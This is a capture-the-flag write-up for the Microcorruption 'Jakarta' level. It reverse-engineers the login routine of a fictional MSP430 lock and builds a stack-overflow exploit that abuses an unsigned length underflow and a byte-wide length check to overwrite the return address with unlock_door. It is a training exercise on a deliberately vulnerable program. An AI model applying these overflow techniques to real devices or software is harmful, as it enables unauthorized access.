10 Microcorruption - Jakarta
Now we travel to Indonesia, to the city Jakarta
Manual
Lockitall LOCKIT PRO r b.06
______________________________________________________________________
User Manual: Lockitall LockIT Pro, rev b.06
______________________________________________________________________
OVERVIEW
- A firmware update further rejects passwords which are too long.
- This lock is attached the the LockIT Pro HSM-1.
DETAILS
The LockIT Pro b.06 is the first of a new series of locks. It is
controlled by a MSP430 microcontroller, and is the most advanced
MCU-controlled lock available on the market. The MSP430 is a very
low-power device which allows the LockIT Pro to run in almost any
environment.
The LockIT Pro contains a Bluetooth chip allowing it to
communiciate with the LockIT Pro App, allowing the LockIT Pro to
be inaccessable from the exterior of the building.
There is no default password on the LockIT Pro HSM-1. Upon
receiving the LockIT Pro, a new password must be set by first
connecting the LockitPRO HSM to output port two, connecting it to
the LockIT Pro App, and entering a new password when prompted, and
then restarting the LockIT Pro using the red button on the back.
LockIT Pro Hardware Security Module 1 stores the login password,
ensuring users can not access the password through other means.
The LockIT Pro can send the LockIT Pro HSM-1 a password, and the
HSM will return if the password is correct by setting a flag in
memory.
This is Hardware Version B. It contains the Bluetooth connector
built in, and two available ports: the LockIT Pro Deadbolt should
be connected to port 1, and the LockIT Pro HSM-1 should be
connected to port 2.
This is Software Revision 06. We have added further mechanisms to
verify that passwords which are too long will be rejected.
(c) 2013 LOCKITALL Page 1/1
The manual claim to also reject passwords that are too long, and we again have the HSM-1 module
Enumeration
We start with main
and a stack pointer at 0x4400
Main
╭ int main(int argc, char **argv, char **envp);
│ 0x4438 add #0xfc18, sp
│ 0x443c call #login
╰ 0x4440 clr r15
This time main
also does some stack allocation before calling login
, we can calculate the stack pointer the same way we usually do 0x4400
+ 0xfc18
0x4018
, wow that is 1000 bytes, quite a big stack. The call
instruction as we know adds the return address 0x4440
to the stack and subtract 2 form the stack pointer, giving us SP
= 0x4016
when we start in login
Login
Let’s see if we can figure out a way to circumvent this lock
╭ login();
│ 0x4560 push r11
│ 0x4562 add #0xffde, sp
Here we start by saving some state and allocate a bit of stack space for login
. The push
instruction saves the R11
register on the stack and subtract 2 from the stack pointer, then the value 0xffde
is added to SP
, this all gives the following equation 0x4016
- 2
+ 0xffde
0x3ff2
│ 0x4566 mov #0x4482, r15
│ 0x456a call #puts
│ 0x456e mov #0x44b3, r15
│ 0x4572 call #puts
│ 0x4576 mov #0x44fa, r15
│ 0x457a call #puts
Then we have three calls to puts
which prints some string to the screen
0x4482
- “Authentication requires a username and password.”0x44b2
- “Your username and password together may be no more than 32 characters.”0x44fa
- “Please enter your username:”
So this time we again have a username and a password, but those two combined must not be more than 32 characters
│ 0x457e mov #0x00ff, r14
│ 0x4582 mov #0x2402, r15
│ 0x4586 call #getsn
Now 255 bytes are read from the user, and written to 0x2402
│ 0x458a mov #0x2402, r15
│ 0x458e call #puts
Here the username is also printed back to the user right after it was inputted
│ 0x4592 mov #0x2401, r15
│ ╭─> 0x4596 inc r15
│ ╎ 0x4598 tst.b 0x0(r15)
│ ╰─< 0x459c jnz $-0x0006
│ 0x459e mov r15, r11
│ 0x45a0 sub #0x2402, r11
This loop start R15
at the start of the username input, and count up until the end (null byte) of the username string. Then the end address is moved into R11
and the start address is subtracted. So R11
now contains the length of the username input
│ 0x45a4 mov #0x2402, r14
│ 0x45a8 mov sp, r15
│ 0x45aa call #strcpy
Here the username input is copied to the stack using strcpy
│ 0x45ae cmp.b #0x0021, r11
│ ╭─< 0x45b2 jnc $+0x000e
│ │ 0x45b4 mov &0x2400, r15
│ │ 0x45b8 call #puts
│ │ 0x45bc br #__stop_progExec__
Now R11
is compared against 0x21
(33) and we jump if R11
is less than 33, so this checks that the username by itself it not already longer than the 32 limit they told us. If we input a username longer than 32 bytes, we can see that the program prints a string and then stops the program execution, so we want to stay under this limit
│ ╰─> 0x45c0 mov #0x4516, r15
│ 0x45c4 call #puts
Here we print another string
0x4516
- “Please enter your password:”
│ 0x45c8 mov #0x001f, r14
│ 0x45cc sub r11, r14
Here the value 0x1f
(31) is moved into R14
and the value in R11
is subtracted, R11
still contains the length of the username input, so R14
contains the remaining length allowed for the password input. It is a bit interesting that the value is only 31. The username was check to not be 33 or more characters, so a username input with length 32 is accepted in the previous check. Let’s keep this observation in mind
│ 0x45ce and #0x01ff, r14
│ 0x45d2 mov #0x2402, r15
│ 0x45d6 call #getsn
Now R14
is AND
ed with 0x1ff
, this just cap R14
so what ever value R14
contains it will never be larger than 0x1ff
(512). R14
is the amount of bytes read from the user. So we never read more than what is left up to the 32 byte limit.
If we input a password that is exactly 32 characters, the calculation before will be 31 - 32 = -1, without going too much into how negative numbers is represented in memory, this will underflow the register and result in R14
having a value of 0xffff
.
So we can actually make this call to getsn
read up to 512 bytes of input
│ 0x45da mov #0x2402, r15
│ 0x45de call #puts
And here we have the great print of the inputted password
│ 0x45e2 mov #0x2402, r14
│ 0x45e6 mov sp, r15
│ 0x45e8 add r11, r15
│ 0x45ea call #strcpy
Here the password input is copied to the stack, using the stack pointer plus the length of the username, so the password end up right after the username on the stack, potentially 512 bytes
│ 0x45ee mov #0x2401, r15
│ ╭─> 0x45f2 inc r15
│ ╎ 0x45f4 tst.b 0x0(r15)
│ ╰─< 0x45f8 jnz $-0x0006
│ 0x45fa sub #0x2402, r15
│ 0x45fe add r11, r15
Here we have the same loop where we keep incrementing R15
until it points to the end of our password input, the start address is then subtracted from R15
, so it contains the length of the password input, R11
still contains the length of the username, and is then added to R15
, resulting in R15
containing the total length of the username and the password
│ 0x4600 cmp.b #0x0021, r15
│ ╭─< 0x4604 jnc $+0x000e
│ │ 0x4606 mov &0x2400, r15
│ │ 0x460a call #puts
│ │ 0x460e br #__stop_progExec__
The same code is used to check if the total length is equal or larger than 33. A thing to note here is that we compare a byte value form R15
to 0x21
, but we just found out that we could input up to 512 bytes password data if the username was 32 bytes long. This way we could actually end up with a total length larger than what can be stored in a byte and still pass the length check.
If we input 32 byte username R11
will contain the length 32 (0x20
) and we can input 512 byte password. We want the total length to less than 0x21
on the lowest byte. If the password is 224 bytes long, the total length would be 224 + 32 = 256 which is 0x100
, and the comparison in 0x4600
would be against 0x00
, this means that our password has to be between 224 and 256 bytes, and we will pass the total length check
│ ╰─> 0x4612 mov sp, r15
│ 0x4614 call #test_username_and_password_valid
│ 0x4618 tst r15
│ ╭─< 0x461a jeq $+0x000c
│ │ 0x461c call #unlock_door
│ │ 0x4620 mov #0x4532, r15
│ ╭──< 0x4624 jmp $+0x0006
│ │╰─> 0x4626 mov #0x4542, r15
│ ╰──> 0x462a call #puts
│ 0x462e add #0x0022, sp
│ 0x4632 pop r11
╰ 0x4634 ret
We have more or less figure out how to successfully overflow the stack and sill pass the different length checks, so we will not spend too much time on the last part.
The last part of login
is all something we have seen before, the password is tested using the HSM-1, then unlock_door
is called if the password is correct, followed by stack clean up.
Exploit
Let’s craft an exploit, the stack layout looks like this
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F
0x3ff0 .... SP.. .... .... .... .... .... ....
0x4000 .... .... .... .... .... .... .... ....
0x4010 .... .... .... 4044 .... .... .... ....
We input a 32 byte username, and it will end up on the stack like this
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F
0x3ff0 .... UUUU UUUU UUUU UUUU UUUU UUUU UUUU
0x4000 UUUU UUUU UUUU UUUU UUUU UUUU UUUU UUUU
0x4010 UUUU 00.. .... 4044 .... .... .... ....
Then we need to overwrite the return address with the address of unlock_door
‘0x444c’ and input 224 bytes of data
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F
0x3ff0 .... UUUU UUUU UUUU UUUU UUUU UUUU UUUU
0x4000 UUUU UUUU UUUU UUUU UUUU UUUU UUUU UUUU
0x4010 UUUU PPPP PPPP 4c44 PPPP PPPP PPPP PPPP
It worked